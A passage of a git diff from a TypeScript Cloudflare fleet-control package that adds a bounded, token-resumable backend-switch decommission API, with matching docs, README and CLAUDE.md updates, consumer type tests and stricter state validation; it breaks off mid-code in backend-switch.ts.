`cleanupDeploymentArtifacts`, `decommissionDeployment`, `forceDecommissionDeployment`, `ProvisionDeploymentOptions`, `ProvisioningBackend`, `PlainWorkerProvisioningApi`, `PlainWorkerCleanupOutcome`, `PlainWorkerDatabaseExportResult`, `PlainWorkerDatabaseInventoryEntry`, `PlainWorkerDeploymentStatus`, `PlainWorkerMutationOutcome`, `PlainWorkerUploadIntent`, `PlainWorkerUploadIntentBase`, `PlainWorkerUploadOutcome`, `PlainWorkerVersionBinding`, `PlainWorkerVersionDetail`, `PlainWorkerVersionSummary`, `PlainWorkerRouteApi`, and `SeedDeploymentIdentityOptions` | +| Provisioning | `provisionDeployment`, `cleanupDeploymentArtifacts`, `advanceDecommissionDeployment`, `advanceBackendSwitchDecommission`, `decommissionDeployment`, `forceDecommissionDeployment`, `ProvisionDeploymentOptions`, `AdvanceDecommissionDeploymentOptions`, `AdvanceBackendSwitchDecommissionOptions`, `DecommissionAdvanceAction`, `DecommissionAdvanceResult`, `ProvisioningBackend`, `PlainWorkerProvisioningApi`, `PlainWorkerCleanupOutcome`, `PlainWorkerDatabaseExportResult`, `PlainWorkerDatabaseInventoryEntry`, `PlainWorkerDeploymentStatus`, `PlainWorkerMutationOutcome`, `PlainWorkerUploadIntent`, `PlainWorkerUploadIntentBase`, `PlainWorkerUploadOutcome`, `PlainWorkerVersionBinding`, `PlainWorkerVersionDetail`, `PlainWorkerVersionSummary`, `PlainWorkerRouteApi`, and `SeedDeploymentIdentityOptions` | | Fleet lifecycle | `migrateFleet`, `rollbackExternalRelease`, `auditFleetDrift`, `fleetVersionReport`, `FleetRecord`, and `D1FleetStateStore` | | Active-route attestation | `attestFleetRecordActiveRoute`, `attestConvergedActiveRoute`, `ActiveRouteAttestation`, `ActiveRouteAttestationError`, `ActiveRouteExpectation`, `AttestConvergedActiveRouteOptions`, and `ObservedActiveRoute` | | Settlement | `fleetSettlementKey`, `FleetSettlementContext`, `FleetSettlementEntry`, and `FleetSettlementHost` | diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 5afec8a9..afbf939c 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -170,7 +170,17 @@ Rollback attaches and verifies the custom domain on the bridge before deleting t A finalized ordinary state bridge remains under the dedicated backend-switch provider for later provisioning, migration, and release rollback. Fleet control stores a separate finalized-state upload authorization before each possible ordinary Worker mutation, inspects the exact persisted bridge before upload, and adopts an exact committed result after a lost provider or fleet-state response. Candidate-only module changes use the trusted state artifact projection and do not upload the bridge. Trusted state migrations merge the platform profile into the persisted combined plain-and-platform history by exact tag, append only unseen class additions, use the persisted live tag as `old_tag`, and retain every recorded namespace ID. The normal Workers for Platforms backend remains dispatch-only and cannot create an ordinary per-deployment state Worker. -`decommissionBackendSwitch()` handles an operator-requested teardown from every switch subphase and after later migration or rollback. Before removing traffic, it persists the current desired digest, the canonical set of host targets allowed by the durable lifecycle phase, ordinary bridge identity, effective bridge plan, application R2 resources, and the exact union of active, pending, migration-prior, rollback, retiring, and original switch releases. Migration permits the prior route until the candidate is armed, both prior and target routes at the publication ambiguity boundary, and only the target after publication. Publishing permits its intended pending release. Rollback and teardown preserve both active and pending routes until the final ready state commits. Each route target is bound to its snapshotted physical release and platform target. Fleet control accepts only a byte-exact member of that set when removing `HOSTS`. Each release carries its own application and physical binding topology. Fleet control records delete authorization and positive absence for each release before it deletes the bridge and verifies namespace removal. For each application R2 bucket it persists detach authorization, detached confirmation, empty authorization, empty confirmation, delete authorization, and positive absence. A retry resumes from the individual release or bucket record before D1 export and deletion. The same fleet lease fences every phase. +Use root-only `advanceBackendSwitchDecommission()` when backend-switch teardown must fit one control-plane request. The first call starts or adopts one durable operation. Each later call supplies the returned token and advances at most one release, application R2 resource, attachment-scan chunk, lifecycle group, or D1 action group. The operation binds its prior and target specifications, current desired digest, captured entry subphase, pending ordinary Worker identity, Durable Object namespace IDs, routes, releases, bridge plan, and application resources into one immutable snapshot. Every switch-intent and decommission-shell write commits atomically under the same fleet lease. + +The switch advance uses the same at-least-once token rules as `advanceDecommissionDeployment()`. Stale tokens return current authority without provider work. A blocked result remains inert until exact `restart-blocked`. A matching discover and verify pass authorizes only its immediate same-lease action. The export receipt binds the D1 UUID, operation UUID, and immutable store authority, so retries after export or Fleet write loss reuse the committed artifact. D1 deletion persists its barrier before mutation, then confirms the immutable ID is absent. + +Pending ordinary Worker capture reads the exact version and the authoritative secret-name inventory. It preserves Durable Object script and dispatch selectors, service entrypoints, representable R2 jurisdiction, D1 alias agreement, and provider-assigned namespace IDs. Unknown or unrepresentable binding fields fail closed. After Fleet D1 commits the snapshot, retries use that durable authority and never recapture a changed live version. + +`decommissionBackendSwitch()` remains the asynchronous one-call compatibility drain. It uses the bounded engine for an active shell and for an early shell-less row with the complete capability set. A shell-less row at `decommission-export-authorized` or later stays on legacy recovery because an older writer may already have committed an operation-specific export or deletion. A wholly stripped plain pending-artifact snapshot also stays legacy unless its live carrier can reconstruct the exact authority. The bounded API refuses either ambiguous state instead of adopting it. + +Before removing traffic, backend-switch teardown persists the current desired digest, the canonical set of host targets allowed by the durable lifecycle phase, ordinary bridge identity, effective bridge plan, application R2 resources, and the exact union of active, pending, migration-prior, rollback, retiring, and original switch releases. Migration permits the prior route until the candidate is armed, both prior and target routes at the publication ambiguity boundary, and only the target after publication. Publishing permits its intended pending release. Rollback and teardown preserve both active and pending routes until the final ready state commits. Each route target is bound to its snapshotted physical release and platform target. Fleet control accepts only a byte-exact member of that set when removing `HOSTS`. Each release carries its own application and physical binding topology. Fleet control records delete authorization and positive absence for each release before it deletes the bridge and verifies namespace removal. For each application R2 bucket it persists detach authorization, detached confirmation, empty authorization, empty confirmation, delete authorization, and positive absence. A retry resumes from the individual release or bucket record before D1 export and deletion. The same fleet lease fences every phase. + +If you drive either bounded API from a Worker and the deployment can carry the supported application R2 maximum, use Workers Paid. The two all-bucket read groups can reserve up to 708 external subrequests. The root-only switch API can instead run from a Node control plane. Run `pnpm fleet-control:credentialed` before release because local tests cannot prove the live Workers for Platforms receiver, binding, and namespace behavior. ## Define versioned D1 migrations @@ -217,7 +227,7 @@ Before the first D1 scan or export, Fleet D1 persists one immutable receipt auth Custom bounded backends must expose both `databaseExportReceiptAuthority` and `exportDatabaseReceipt()`. The export method must return descriptor-safe plain data with the matching database ID, location, positive size, and lowercase SHA-256 digest. Fleet control accepts safe extra plain-data fields but strips them. It rejects prototype-bearing instances, accessors, proxies, and malformed required fields. -The synchronous `decommissionDeployment()` drains this bounded engine for every row with a normal decommission shell. It also selects bounded execution for an early shell-less row with the scan capability and at least one receipt member, so a malformed partial pair fails closed. The legacy synchronous path remains for shell-less late D1 or terminal rows and for other shell-less rows that lack the complete scan-plus-receipt capability. +The asynchronous one-call `decommissionDeployment()` compatibility path drains this bounded engine for every row with a normal decommission shell. It also selects bounded execution for an early shell-less row with the scan capability and at least one receipt member, so a malformed partial pair fails closed. The legacy asynchronous one-call path remains for shell-less late D1 or terminal rows and for other shell-less rows that lack the complete scan-plus-receipt capability. Normal decommission persists these destructive phases: diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index f7bf3511..c24bb25f 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -13,7 +13,7 @@ Public behavior: Source map: -- `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the bounded normal-decommission coordinator is isolated in `decommission-advance.ts`) +- `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the Worker-safe bounded normal coordinator is isolated in `decommission-advance.ts`; the root-only bounded switch coordinator remains in `backend-switch.ts`) - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence - `cloudflare-client-config.ts`, `strict-plain-data.ts`, `cloudflare-worker-attachment-scan-state.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds, strict resumable state, and the request-bounded account-wide D1/R2 attachment scanner diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index da9e1477..c937a27f 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -65,6 +65,10 @@ Construct `CloudflareProvisioningClient` with a `CloudflareApiRateCoordinator`. Plain-worker, dispatch-worker, backend-switch, and control-worker inspection consumes every provider binding entry before exact attestation. Unknown types, malformed entries, duplicate names, unrepresented bindings, and missing complete inventories fail closed, including expected-empty groups. Secret names come from the authoritative secret-list API when ordinary version resources omit them. Wrangler-backed D1 ownership, migrations, exact-ID lookup, and deletion use Cloudflare's direct APIs. Every mutation runs under the active mutation fence. D1 deletion treats only provider 404 as absence and confirms that the immutable ID is absent without spawning `wrangler d1 delete`. A custom `PlainWorkerRouteApi` must provide `getDatabase` and `deleteDatabase` before destructive D1 teardown; Fleet Control fails closed when either capability is absent. SQLite recognizes anonymous `?` and numbered `?NNN` parameters, literals, quoted identifiers, and comments without string replacement. D1 does not support named SQLite parameters. +Use `advanceDecommissionDeployment()` for Queue-driven bounded normal teardown. Use root-only `advanceBackendSwitchDecommission()` for one bounded backend-switch step from a trusted Node control plane. Both APIs return durable continuation tokens and perform at most one scan chunk or one lifecycle/resource action group per call. Their asynchronous one-call compatibility paths drain the same engines for existing callers. + +A custom backend-switch provider must expose every bounded capability required by the state it resumes: attachment scanning, paired export receipt authority and export, exact database read and owner read, database residual checks, and bounded deletion. A plain pending artifact also requires `captureSwitchEntryPendingArtifact()`. The built-in provider reads that exact version plus the authoritative secret-name inventory and preserves provider Durable Object selectors, service entrypoints, R2 jurisdiction, D1 alias agreement, and namespace IDs. A missing capability, unrecognized binding field, changed authority, or non-exact observation fails before mutation. After Fleet D1 commits the operation snapshot, retries never recapture live pending-version authority. + Use `forceDecommissionDeployment()` only when the host has lost the retained credentials or artifact required to rebuild a `DeploymentSpec`. The operation accepts the durable tenant and environment key instead of a specification. It runs under the deployment lease, removes every ordinary custom domain for the persisted script, disables and verifies public ingress, deletes the script’s current secrets, and deletes D1 by its persisted immutable ID after matching the persisted database name. It then removes the fleet ledger row. Provider 404 responses converge as already absent, so retry the same call after an interrupted teardown. A `database-reserved` row has not authorized provider creation and can be removed without a provider call. A `database-create-authorized` row has an unresolved creation outcome and only a synthetic ID, so force decommission fails closed and retains that row for spec-aware recovery. diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 48003984..e610574e 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -203,6 +203,7 @@ try { attestConvergedActiveRoute, attestFleetRecordActiveRoute, auditFleetDrift, + advanceBackendSwitchDecommission, advanceDecommissionDeployment, decommissionDeployment, forceDecommissionDeployment, @@ -214,7 +215,9 @@ try { type ActiveRouteAttestation, type ActiveRouteExpectation, type AttestConvergedActiveRouteOptions, + type AdvanceBackendSwitchDecommissionOptions, type AdvanceDecommissionDeploymentOptions, + type BackendSwitchProvider, type CloudflareApiPlainWorkerBackendOptions, type CloudflareApiRateCoordinator, type DeploymentEgressPolicy, @@ -310,6 +313,38 @@ import { retainedExternalReleases } from '@proofoftech/fleet-control'; import { assertImmutableDeploymentMapping } from '@proofoftech/fleet-control'; // @ts-expect-error persisted database reconciliation is package-private. import { reconcilePersistedDatabase } from '@proofoftech/fleet-control'; +// @ts-expect-error backend-switch application authority is package-private. +import type { BackendSwitchApplicationR2Authority } from '@proofoftech/fleet-control'; +// @ts-expect-error backend-switch authority projection is package-private. +import type { BackendSwitchDecommissionAuthorityProjection } from '@proofoftech/fleet-control'; +// @ts-expect-error backend-switch snapshot hashing is package-private. +import { backendSwitchDecommissionSnapshotDigest } from '@proofoftech/fleet-control'; +// @ts-expect-error backend-switch shell construction is package-private. +import { backendSwitchDecommissionShell } from '@proofoftech/fleet-control'; +// @ts-expect-error backend-switch entry normalization is package-private. +import { normalizeSwitchDecommissionEntry } from '@proofoftech/fleet-control'; +// @ts-expect-error backend-switch capability capture is package-private. +import { captureBackendSwitchDecommissionCapabilities } from '@proofoftech/fleet-control'; +// @ts-expect-error the production backend-switch lease seam is package-private. +import { withBackendSwitchLease } from '@proofoftech/fleet-control'; +// @ts-expect-error decommission transitions are package-private. +import type { DecommissionIntentTransition } from '@proofoftech/fleet-control'; +// @ts-expect-error scan-step options are package-private. +import type { DecommissionAttachmentScanStepOptions } from '@proofoftech/fleet-control'; +// @ts-expect-error scan-step execution is package-private. +import { advanceDecommissionAttachmentScanStep } from '@proofoftech/fleet-control'; +// @ts-expect-error D1 callback options are package-private. +import type { ReconcilePersistedDatabaseFromCallbacksOptions } from '@proofoftech/fleet-control'; +// @ts-expect-error D1 callback reconciliation is package-private. +import { reconcilePersistedDatabaseFromCallbacks } from '@proofoftech/fleet-control'; +// @ts-expect-error D1 export reconstruction is package-private. +import { databaseExportFromUnknown } from '@proofoftech/fleet-control'; +// @ts-expect-error D1 receipt identity construction is package-private. +import { databaseExportReceiptIdentity } from '@proofoftech/fleet-control'; +// @ts-expect-error D1 deletion settlement is package-private. +import { settleDatabaseDeletionUnderBarrier } from '@proofoftech/fleet-control'; +// @ts-expect-error pending ordinary inspection is package-private. +import type { SwitchEntryPendingArtifactInspection } from '@proofoftech/fleet-control'; // @ts-expect-error intent codec errors are package-private. import { DecommissionAdvanceIntentError } from '@proofoftech/fleet-control'; // @ts-expect-error receipt capability capture is package-private. @@ -355,6 +390,7 @@ declare const policy: DeploymentEgressPolicy; declare const coordinator: CloudflareApiRateCoordinator; declare const deploymentSpec: DeploymentSpec; declare const provisioningBackend: ProvisioningBackend; +declare const backendSwitchProvider: BackendSwitchProvider; declare const fleetRecord: FleetRecord; declare const fleetStateStore: FleetStateStore; declare const decommissionIntent: DecommissionAdvanceIntent; @@ -489,6 +525,9 @@ const decommissionCapabilities: readonly DecommissionAdvanceCapability[] = [ 'application-r2-empty', 'application-r2-delete', 'database-export-receipt', + 'database-read', + 'database-delete', + 'pending-artifact-inspection', ]; const optionalReceiptAuthority: string | undefined = decommissionCommon.databaseExportReceiptAuthority; @@ -505,6 +544,15 @@ const decommissionAdvanceOptions: AdvanceDecommissionDeploymentOptions = { maxProviderRequests: 12, randomUUID: () => '00000000-0000-4000-8000-000000000001', }; +const backendSwitchAdvanceOptions: AdvanceBackendSwitchDecommissionOptions = { + store: fleetStateStore, + provider: backendSwitchProvider, + priorSpec: deploymentSpec, + targetSpec: deploymentSpec, + action: decommissionActions[0]!, + maxProviderRequests: 12, + randomUUID: () => '00000000-0000-4000-8000-000000000003', +}; const decommissionAdvanceResults: readonly DecommissionAdvanceResult[] = [ { status: 'pending', token: decommissionToken }, { @@ -530,6 +578,27 @@ const decommissionAdvanceResults: readonly DecommissionAdvanceResult[] = [ const boundedDecommissionAdvance = advanceDecommissionDeployment( decommissionAdvanceOptions, ); +const boundedBackendSwitchAdvance = advanceBackendSwitchDecommission( + backendSwitchAdvanceOptions, +); +const boundedBackendSwitchActions = decommissionActions.map((action) => + advanceBackendSwitchDecommission({ + ...backendSwitchAdvanceOptions, + action, + }), +); +const switchPendingArtifactCapture = + backendSwitchProvider.captureSwitchEntryPendingArtifact; +const switchAttachmentScan = + backendSwitchProvider.advanceSwitchDecommissionAttachmentScan; +const switchReceiptAuthority: string | undefined = + backendSwitchProvider.databaseExportReceiptAuthority; +const switchReceiptExport = backendSwitchProvider.exportSwitchDatabaseReceipt; +const switchDatabaseRead = backendSwitchProvider.getSwitchDatabase; +const switchDatabaseOwnerRead = backendSwitchProvider.readSwitchDatabaseOwner; +const switchDatabaseResiduals = + backendSwitchProvider.assertSwitchDatabaseDeletionResidualsRemoved; +const switchDatabaseDelete = backendSwitchProvider.deleteSwitchDatabaseBounded; type PlainWorkerPortRecords = readonly [ PlainWorkerCleanupOutcome, PlainWorkerDatabaseExportResult, @@ -614,6 +683,17 @@ void [ decommissionAdvanceOptions, decommissionAdvanceResults, boundedDecommissionAdvance, + backendSwitchAdvanceOptions, + boundedBackendSwitchAdvance, + boundedBackendSwitchActions, + switchPendingArtifactCapture, + switchAttachmentScan, + switchReceiptAuthority, + switchReceiptExport, + switchDatabaseRead, + switchDatabaseOwnerRead, + switchDatabaseResiduals, + switchDatabaseDelete, databaseExportIntegrity, databaseExportReceiptIdentity, legacyExportStore, @@ -727,6 +807,7 @@ import { FileSystemDatabaseExportStore, ProvisioningError, WorkersForPlatformsBackend, + advanceBackendSwitchDecommission, advanceDecommissionDeployment, attestConvergedActiveRoute, attestFleetRecordActiveRoute, @@ -756,6 +837,7 @@ assert.ok(new ActiveRouteAttestationError('probe', {}) instanceof Error); assert.equal(typeof attestConvergedActiveRoute, 'function'); assert.equal(typeof attestFleetRecordActiveRoute, 'function'); assert.equal(typeof fleetSettlementKey, 'function'); +assert.equal(typeof advanceBackendSwitchDecommission, 'function'); assert.equal(typeof advanceDecommissionDeployment, 'function'); const missingCapability = new DecommissionAdvanceCapabilityError( 'attachment-scan', @@ -785,6 +867,24 @@ assert.equal( missingReceiptCapability.message, 'backend cannot write idempotent database export receipts', ); +for (const [capability, message] of [ + [ + 'database-read', + 'backend cannot read the database for bounded decommission', + ], + [ + 'database-delete', + 'backend cannot delete the database for bounded decommission', + ], + [ + 'pending-artifact-inspection', + 'backend cannot inspect pending ordinary Worker authority for bounded decommission', + ], +]) { + const error = new DecommissionAdvanceCapabilityError(capability); + assert.equal(error.capability, capability); + assert.equal(error.message, message); +} const restartError = new DecommissionAdvanceRestartError(); assert.equal(restartError.name, 'DecommissionAdvanceRestartError'); assert.equal( @@ -804,6 +904,11 @@ assert.equal( .advanceDecommissionAttachmentScan, 'function', ); +assert.equal( + typeof CloudflareProvisioningClient.prototype + .existingDurableObjectNamespaceIds, + 'function', +); const legacyClient = new CloudflareProvisioningClient({ accountId: 'a', apiToken: 't', diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index 69ac7b9a..e55c6179 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -1,10 +1,40 @@ // SPDX-License-Identifier: Apache-2.0 +import { createHash, randomUUID as nodeRandomUUID } from 'node:crypto'; + import { + advanceApplicationR2Deletion, applicationBindingTopology, assertApplicationR2EmptyBeforeDecommission, convergeApplicationR2Deletion, } from './application-bindings.js'; +import { + assertWorkerAttachmentProviderRequestBudget, + initialWorkerAttachmentScan, +} from './cloudflare-worker-attachment-scan-state.js'; +import { + advanceDecommissionAttachmentScanStep, + type DecommissionAdvanceAction, + DecommissionAdvanceCapabilityError, + DecommissionAdvanceRestartError, + type DecommissionAdvanceResult, + type DecommissionIntentTransition, + decommissionAdvanceActionFromUnknown, +} from './decommission-advance.js'; +import { + databaseExportFromUnknown, + databaseExportReceiptIdentity, + reconcilePersistedDatabaseFromCallbacks, + settleDatabaseDeletionUnderBarrier, +} from './decommission-database.js'; +import { + backendSwitchDecommissionLifecyclePhase, + classifyDecommissionAdvanceToken, + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenOperationError, + normalizeDecommissionAdvanceIntent, + parseDecommissionAdvanceToken, +} from './decommission-intent.js'; import { isDeploymentEnvironment, isDeploymentScriptName, @@ -18,6 +48,7 @@ import { assertPlatformResourcesMatchTarget, canonicalDeploymentEgressPolicy, canonicalMaintenanceCapabilityPublicKey, + durableObjectMigrationHistoryDigest, type ExternalRouteExpectation, externalHostRoutingTarget, externalRouteExpectations, @@ -27,10 +58,26 @@ import { externalReleaseTopologyFromUnknown, } from './release-topology.js'; import { deploymentSpecDigest } from './spec-digest.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; import type { + BackendSwitchApplicationR2Progress, + BackendSwitchCandidateSnapshot, + BackendSwitchDecommissionRelease, + BackendSwitchDecommissionRouteTarget, + BackendSwitchDecommissionSnapshot, + BackendSwitchIntent, + BackendSwitchSubphase, + BridgeMutationPlan, + BridgeSnapshot, + DatabaseExportReceiptIdentity, + DatabaseReference, + DecommissionAdvanceIntent, + DecommissionAdvanceToken, + DecommissionAttachmentScanInput, DeploymentSecrets, DeploymentSpec, DurableObjectBindingInventory, + ExternalMigrationIntent, ExternalMutationFence, ExternalPlatformResources, ExternalPlatformTargetDescription, @@ -38,143 +85,152 @@ import type { FleetRecord, FleetStateLease, FleetStateStore, + PlainBackendSnapshot, + ProvisioningPhase, } from './types.js'; -import { assertNoActiveDecommission } from './types.js'; - -export const BACKEND_SWITCH_SUBPHASES = [ - 'planned', - 'bridge-upload-authorized', - 'bridge-deployed', - 'candidate-deploy-authorized', - 'candidate-deployed', - 'host-publish-authorized', - 'host-published', - 'domain-detach-authorized', - 'dispatch-serving', - 'bridge-private-authorized', - 'bridge-private', - 'ownership-commit-authorized', - 'ready', - 'rollback-route-authorized', - 'rollback-routed', - 'rollback-drain-authorized', - 'rollback-drained', - 'rollback-restore-authorized', - 'rollback-restored', - 'rollback-ownership-authorized', - 'rolled-back', - 'finalize-authorized', - 'finalized', - 'decommission-traffic-authorized', - 'decommission-traffic-removed', - 'decommission-candidate-authorized', - 'decommission-candidate-removed', - 'decommission-bridge-authorized', - 'decommission-bridge-removed', - 'decommission-application-r2-authorized', - 'decommission-application-r2-removed', - 'decommission-export-authorized', - 'decommission-exported', - 'decommission-database-authorized', - 'decommissioned', -] as const; - -export type BackendSwitchSubphase = (typeof BACKEND_SWITCH_SUBPHASES)[number]; +import { + assertNoActiveDecommission, + BACKEND_SWITCH_SUBPHASES, + effectiveLifecyclePhase, + PROVISIONING_PHASES, +} from './types.js'; +import { validateDeploymentSpec } from './validation.js'; -export interface PlainBackendSnapshot { - readonly scriptName: string; - readonly artifactVersion: string; - readonly specDigest: string; - readonly databaseId: string; - readonly databaseName: string; - readonly durableObjectBindings: readonly DurableObjectBindingInventory[]; - readonly namespaceIds: readonly string[]; - readonly secretNames: readonly string[]; - readonly application?: import('./types.js').ApplicationBindingTopology; - readonly applicationResources: readonly import('./types.js').ApplicationR2Resource[]; - readonly customDomain: Readonly<{ id: string; hostname: string }>; -} +/** @internal Fixed refusal for malformed backend-switch Fleet authority. */ +export const BACKEND_SWITCH_RECORD_ERROR = + 'backend switch decommission record is malformed'; +const SWITCH_PLAIN_DATA_DEPTH_BOUND = 64; +const SWITCH_PLAIN_DATA_NODE_BOUND = 65_536; +const SWITCH_PLAIN_DATA_BYTE_BOUND = 4 * 1024 * 1024; +const STRUCTURED_CLONE = structuredClone; -export interface BridgeSnapshot { - readonly scriptName: string; - readonly artifactVersion: string; - readonly artifactDigest: string; - readonly databaseId: string; - readonly durableObjectBindings: readonly DurableObjectBindingInventory[]; - readonly namespaceIds: readonly string[]; - readonly secretNames: readonly string[]; - readonly application?: import('./types.js').ApplicationBindingTopology; - readonly publicRouteAttached: boolean; - readonly stateOnly: boolean; -} +export { + BACKEND_SWITCH_SUBPHASES, + type BackendSwitchApplicationR2Progress, + type BackendSwitchCandidateSnapshot, + type BackendSwitchDecommissionRelease, + type BackendSwitchDecommissionRouteTarget, + type BackendSwitchDecommissionSnapshot, + type BackendSwitchIntent, + type BackendSwitchSubphase, + type BridgeMutationPlan, + type BridgeSnapshot, + type PlainBackendSnapshot, +} from './types.js'; -export interface BridgeMutationPlan { - readonly artifactDigest: string; - readonly durableObjectMigrations: readonly import('./types.js').DurableObjectMigration[]; - readonly priorDurableObjectTag?: string; - readonly targetDurableObjectTag?: string; - readonly secretNames: readonly string[]; - readonly mutationDigest: string; -} +/** @internal Immutable application-R2 identity in switch teardown authority. */ +export type BackendSwitchApplicationR2Authority = Readonly< + Pick< + import('./types.js').ApplicationR2Resource, + 'name' | 'bucketName' | 'jurisdiction' | 'reservationNonce' | 'creationDate' + > +>; -export interface BackendSwitchIntent { - readonly kind: 'backend-switch'; - readonly tenantTag: string; - readonly environment: string; +/** @internal Exact immutable projection covered by switch teardown authority. */ +export interface BackendSwitchDecommissionAuthorityProjection { + readonly version: 1; readonly prior: PlainBackendSnapshot; - readonly targetSpecDigest: string; - readonly targetApplication: import('./types.js').ApplicationBindingTopology; - readonly target: ExternalPlatformTargetDescription; - readonly rollbackUntil: string; - readonly subphase: BackendSwitchSubphase; - readonly bridgePlan?: BridgeMutationPlan; - readonly bridge?: BridgeSnapshot; - readonly candidate?: BackendSwitchCandidateSnapshot; - readonly restoredArtifactVersion?: string; - readonly databaseExport?: import('./types.js').DatabaseExport; - readonly applicationR2Progress?: readonly BackendSwitchApplicationR2Progress[]; - readonly stateReconcileIntent?: Readonly<{ - targetSpecDigest: string; - plan: BridgeMutationPlan; - subphase: 'upload-authorized' | 'uploaded'; - }>; - readonly decommissionSnapshot?: BackendSwitchDecommissionSnapshot; -} - -export interface BackendSwitchDecommissionRelease { - readonly release: ExternalReleaseSnapshot; - readonly subphase: 'present' | 'delete-authorized' | 'deleted'; -} - -export interface BackendSwitchDecommissionSnapshot { + readonly restoredArtifactVersion: string | null; + readonly entryPendingArtifactVersion: string | null; + readonly entryPendingNamespaceIds: readonly string[] | null; + readonly providerTargetSpecDigest: string; readonly routeHostname: string; readonly routeTargets: readonly BackendSwitchDecommissionRouteTarget[]; readonly desiredSpecDigest: string; readonly target: ExternalPlatformTargetDescription; - readonly releases: readonly BackendSwitchDecommissionRelease[]; - readonly applicationResources: readonly import('./types.js').ApplicationR2Resource[]; + readonly releases: readonly ExternalReleaseSnapshot[]; + readonly applicationResources: readonly BackendSwitchApplicationR2Authority[]; readonly bridge?: BridgeSnapshot; readonly resources?: ExternalPlatformResources; readonly bridgePlan?: BridgeMutationPlan; } -export interface BackendSwitchDecommissionRouteTarget { - readonly release: ExternalReleaseSnapshot; - readonly target: ExternalPlatformTargetDescription; - readonly routeTarget: HostRoutingTarget; +/** @internal Exact provider observation for one pending ordinary Worker. */ +export interface SwitchEntryPendingArtifactInspection { + readonly artifactVersion: string; + readonly specDigest: string; + readonly databaseIds: readonly string[]; + readonly durableObjectBindings: readonly DurableObjectBindingInventory[]; + readonly secretNames: readonly string[]; + readonly serviceBindings: readonly Readonly<{ + name: string; + service: string; + entrypoint?: string; + }>[]; + readonly queueProducerBindings: readonly Readonly<{ + name: string; + queueName: string; + }>[]; + readonly application: import('./types.js').ApplicationBindingTopology; +} + +/** @internal Reconstructs immutable switch teardown authority in fixed order. */ +export function backendSwitchDecommissionAuthorityProjection( + snapshot: BackendSwitchDecommissionSnapshot, +): BackendSwitchDecommissionAuthorityProjection { + if ( + !snapshot.prior || + snapshot.restoredArtifactVersion === undefined || + snapshot.entryPendingArtifactVersion === undefined || + snapshot.entryPendingNamespaceIds === undefined || + !snapshot.providerTargetSpecDigest + ) { + throw new Error( + 'backend switch decommission snapshot lacks bounded authority', + ); + } + return { + version: 1, + prior: snapshot.prior, + restoredArtifactVersion: snapshot.restoredArtifactVersion, + entryPendingArtifactVersion: snapshot.entryPendingArtifactVersion, + entryPendingNamespaceIds: snapshot.entryPendingNamespaceIds, + providerTargetSpecDigest: snapshot.providerTargetSpecDigest, + routeHostname: snapshot.routeHostname, + routeTargets: snapshot.routeTargets, + desiredSpecDigest: snapshot.desiredSpecDigest, + target: snapshot.target, + releases: snapshot.releases.map(({ release }) => baseRelease(release)), + applicationResources: snapshot.applicationResources.map( + ({ name, bucketName, jurisdiction, reservationNonce, creationDate }) => ({ + name, + bucketName, + jurisdiction, + reservationNonce, + ...(creationDate ? { creationDate } : {}), + }), + ), + ...(snapshot.bridge ? { bridge: snapshot.bridge } : {}), + ...(snapshot.resources ? { resources: snapshot.resources } : {}), + ...(snapshot.bridgePlan ? { bridgePlan: snapshot.bridgePlan } : {}), + }; } -export interface BackendSwitchApplicationR2Progress { - readonly resource: import('./types.js').ApplicationR2Resource; - readonly subphase: import('./types.js').ApplicationR2Resource['state']; +/** @internal Lowercase SHA-256 over the exact immutable teardown projection. */ +export function backendSwitchDecommissionSnapshotDigest( + snapshot: BackendSwitchDecommissionSnapshot, +): string { + return createHash('sha256') + .update( + JSON.stringify(backendSwitchDecommissionAuthorityProjection(snapshot)), + ) + .digest('hex'); } -export interface BackendSwitchCandidateSnapshot - extends ExternalReleaseSnapshot { - readonly maintenance: Readonly<{ - receipt: string; - specDigest: string; - }>; +function requireExactKeys( + value: Record, + required: readonly string[], + optional: readonly string[], + message: string, +): void { + const keys = Object.keys(value); + const allowed = new Set([...required, ...optional]); + if ( + required.some((key) => !Object.hasOwn(value, key)) || + keys.some((key) => !allowed.has(key)) + ) { + throw new Error(message); + } } function stringArray(value: unknown, label: string): readonly string[] { @@ -198,6 +254,19 @@ function durableBindings( (item) => !item || typeof item !== 'object' || + (() => { + try { + requireExactKeys( + item as Record, + ['name', 'className', 'namespaceId'], + ['scriptName', 'dispatchNamespace'], + `backend switch state has invalid ${label}`, + ); + return false; + } catch { + return true; + } + })() || typeof (item as Record).name !== 'string' || typeof (item as Record).className !== 'string' || typeof (item as Record).namespaceId !== 'string' || @@ -228,8 +297,20 @@ function applicationTopology( function applicationResources( value: unknown, ): readonly import('./types.js').ApplicationR2Resource[] { + if (!Array.isArray(value)) { + throw new Error('backend switch state has invalid application resources'); + } + for (const entry of value) { + if (entry && typeof entry === 'object' && !Array.isArray(entry)) { + requireExactKeys( + entry as Record, + ['name', 'bucketName', 'jurisdiction', 'state', 'reservationNonce'], + ['creationDate'], + 'backend switch state has invalid application resources', + ); + } + } if ( - 